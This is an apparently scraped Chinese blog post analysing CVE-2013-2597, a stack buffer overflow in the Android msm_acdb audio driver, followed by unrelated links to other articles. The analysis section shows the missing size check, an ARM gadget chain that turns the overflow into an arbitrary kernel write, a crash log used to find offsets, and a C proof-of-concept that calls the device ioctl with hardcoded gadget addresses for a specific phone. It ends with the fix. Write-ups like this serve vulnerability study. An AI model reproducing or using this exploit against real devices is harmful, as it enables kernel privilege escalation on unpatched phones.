/*

本文章由 莫灰灰 编写,转载请注明出处。

作者:莫灰灰    邮箱: minzhenfei@163.com

*/

1. 漏洞描写叙述

音频驱动acdb提供了一个ioctl的系统接口让应用层调用,然而,其在处理传进来的參数时没有做有效的边界检查。应用程序能够通过/dev/msm_acdb设备文件就能达到提升权限的目的。

2. 漏洞分析

原始代码例如以下
if (size <= 0) {
pr_err("%s: Invalid size sent to driver: %d\n",
__func__, size);
result = -EFAULT;
goto done;
} if (copy_from_user(data, (void *)(arg + sizeof(size)), size)) { pr_err("%s: fail to copy table size %d\n", __func__, size);
result = -EFAULT;
goto done;
}
acdb驱动在处理ioctl的时候,仅仅对输入的參数大小做了size<=0的推断,而没有做>的推断,紧接着,copy_from_user(data, (void *)(arg + sizeof(size)), size)的调用造成局部变量data的栈溢出。


3. 漏洞利用
1.原来的流程 - do_vfs_ioctl调用acdb_ioctl后返回
do_vfs_ioctl:
STMPW [SP], { R4-R9, LR }
...
BL acdb_ioctl
...
ADD SP, SP, #$44 // (2)
LDMUW [SP], { R4-R9, PC } // (1)

2.acdb_ioctl当中一段,能够获得控制PC的机会。改动寄存器的位置是 (3),这里能够操作R4-PC的全部数值了


acdb_ioctl:
...
ADD SP, SP, #$84
LDMUW [SP], { R4-R11, PC } // (3)

通过栈溢出,改动R5,R9,PC的值。


3.上面的指令,通过堆栈溢出,控制PC的值,跳转到以下代码运行

STR R5, [R9] // (4)
LDMUW [SP], { R4-R10, PC } // (5)

此处很关键,主要通过STR指令,将R5的值设置到R9的地址中,即通过栈溢出达到随意地址写的目的。


4.运行(5)之后,为了堆栈平衡,栈要填充 4*8 字节,然后设置下一跳的PC,即返回到(2)那里去

ADD SP, SP, #$24 // (6)
LDMUW [SP], { R4-R9, PC }

5.实际栈的位置和p->data的位置须要硬编码适配。
p->data[...]的値须要初始化的时候设置。
硬编码的地址请在pc上通过崩溃的日志分析。
p->data[i]=i 这样来试探(注:给数据标上相对偏移,方便通过栈来定位),这个样例中,PC在&p->data[0x9c]的位置。

例:
ACDB=> ACDB ioctl not found!
Unable to handle kernel paging request at virtual address 9f9e9d9c
pgd = df56c000
[9f9e9d9c] *pgd=00000000
Internal error: Oops: 80000005 [#1] PREEMPT SMP
Modules linked in:
CPU: 1 Tainted: G W (3.0.8+1.0.21100-02148-g79e6d0e #1)
PC is at 0x9f9e9d9c
LR is at acdb_ioctl+0x740/0x860

6.设置好堆栈布局
((unsigned int)&p->data[0x80]) = value;     //r5: PC - 4*7
((unsigned int)&p->data[0x90]) = address; //r9: PC - 4*3
((unsigned int)&p->data[0x9c]) = (4)的地址; //pc: PC
((unsigned int)&p->data[0xbc]) = (6)地址; //pc: PC + 4*8

4. PoC

static int
write_value(const acdb_param *param, unsigned long address, unsigned long value)
{
const char *device_name = "/dev/msm_acdb";
struct acdb_ioctl arg; int fd;
int ret;
int i; fd = open(device_name, O_RDONLY);
if (fd < 0) {
ALOGI("failed to open %s due to %s.\n", device_name, strerror(errno));
return -1;
} arg.size = param->pc2.pos + 4; for (i = 0; i < arg.size; i += 4) {
*(unsigned long int *)&arg.data[i] = i;
} *(unsigned long int *)&arg.data[param->address_pos] = address; // R9<span style="white-space:pre"> </span>
*(unsigned long int *)&arg.data[param->value_pos] = value; // R5
*(unsigned long int *)&arg.data[param->pc1.pos] = param->pc1.value; //
*(unsigned long int *)&arg.data[param->pc2.pos] = param->pc2.value; // ret = ioctl(fd, 9999, &arg); // 随意触发一个ioctl,造成堆栈溢出,使得随意地址写入漏洞的触发
close(fd); return 0;
}

当中,param的值相应例如以下:

{ DEVICE_SO05D_7_0_D_1_137,       { 0x80, 0x90, { 0x9c, 0xc03265d8 }, { 0xbc, 0xc0524d84 } } },

5.漏洞修复

添加了对size上限的控制


參考文章:
http://retme.net/index.php/2014/03/31/CVE-2013-2597-acdb.html
https://www.codeaurora.org/projects/security-advisories/stack-based-buffer-overflow-acdb-audio-driver-cve-2013-2597
https://gist.github.com/fi01/5857693

Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)的更多相关文章

  1. BUFFER OVERFLOW 10 Vulnerability & Exploit Example

    SRC= http://www.tenouk.com/Bufferoverflowc/Bufferoverflow6.html THE VULNERABLE AND THE EXPLOIT     W ...

  2. CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android. Buffer Overflow Vulnerability reported by #plzdonthackme, Soctt.

    CVE-2016-2502-drivers/usb/gadget/f_serial.c in the Qualcomm USB driver in Android.Buffer Overflow Vu ...

  3. buffer overflow

    Computer Systems A Programmer's Perspective Second Edition We have seen that C does not perform any ...

  4. buffer overflow vulnerabilitie

    Computer Systems A Programmer's Perspective Second Edition Avoiding security holes.For many years,bu ...

  5. ORA-20000: ORU-10027: buffer overflow, limit of 10000 bytes

        要用dbms_output.put_line来输出语句,遇到以下错误: ERROR 位于第 1 行: ORA-20000: ORU-10027: buffer overflow, limit ...

  6. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  7. 缓存溢出Buffer Overflow

    缓存溢出(Buffer overflow),是指在存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址.在某些情况下,这些过量的字符能够作为“可执行”代码来运 ...

  8. (原创)攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow)

    堆栈溢出 堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的.了解堆栈溢出之前,先了解以下几个概念: 缓冲区 简单说来是一块连续的计算机内存区域,可以保存相同数据类型的多个实例. 堆栈     堆 栈是 ...

  9. Writing buffer overflow exploits - a tutorial for beginners

    Buffer overflows in user input dependent buffers have become one of the biggest security hazards on ...

随机推荐

  1. Json for Java API学习

    首先声明:本文来个非常多网友的博客,我通过參考了他们的博客,大致的了解了一些项目中经常使用的Json in java 类和方法,以及关于json的个人理解 个人对json的一些简单理解 在近期的学习中 ...

  2. hdu 4274 Spy&#39;s Work(水题)

    Spy's Work Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total ...

  3. Enum的简单了解

    Enum可以将一组具名的有限集合创建成一种新的类型,而这些具名的值可以作为常规的程序组件使用. 在创建enum时,编译器会为你生成一个相关的类,这个类继承自java.lang.Enum,所以enum本 ...

  4. 解决SQL查询总是超时已过期

    解决SQL查询总是超时已过期 .在WIN8里提示:OLE DB 或 ODBC 错误 : 查询超时已过期; HYT00 1.由于数据库设计问题造成SQL数据库新增数据时超时 症状:   Microso ...

  5. Cordova提供了一组设备相关的API,通过这组API,移动应用能够以JavaScript访问原生的设备功能,如摄像头、麦克风等。

    Cordova提供了一组设备相关的API,通过这组API,移动应用能够以JavaScript访问原生的设备功能,如摄像头.麦克风等. Cordova还提供了一组统一的JavaScript类库,以及为这 ...

  6. Django之逆向解析url

    Django中提供了一个关于URL的映射的解决方案,你可以做两个方向的使用: 1.有客户端的浏览器发起一个url请求,Django根据URL解析,把url中的参数捕获,调用相应的试图, 获取相应的数据 ...

  7. malloc函数的一种简单的原理性实现

    malloc()是C语言中动态存储管理的一组标准库函数之一.其作用是在内存的动态存储区中分配一个长度为size的连续空间.其参数是一个无符号整形数,返回值是一个指向所分配的连续存储域的起始地址的指针 ...

  8. pygame在安装过程中无法找到videodev.h错误

    首先参考<ubuntu 安装 pygame 非常好玩的东西>.在运行sudo python setup.py时.出现 linux/videodev.h:No such file or di ...

  9. BC 2015在百度之星程序设计大赛 - 预赛(1)(KPI-树董事长)

    KPI Accepts: 517 Submissions: 2185 Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 ...

  10. Scala的XML操作

     8.  XML 8.1.     生成 Scala原生支持xml,就如同Java支持String一样,这就让生成xml和xhtml非常easy优雅: val name = "james ...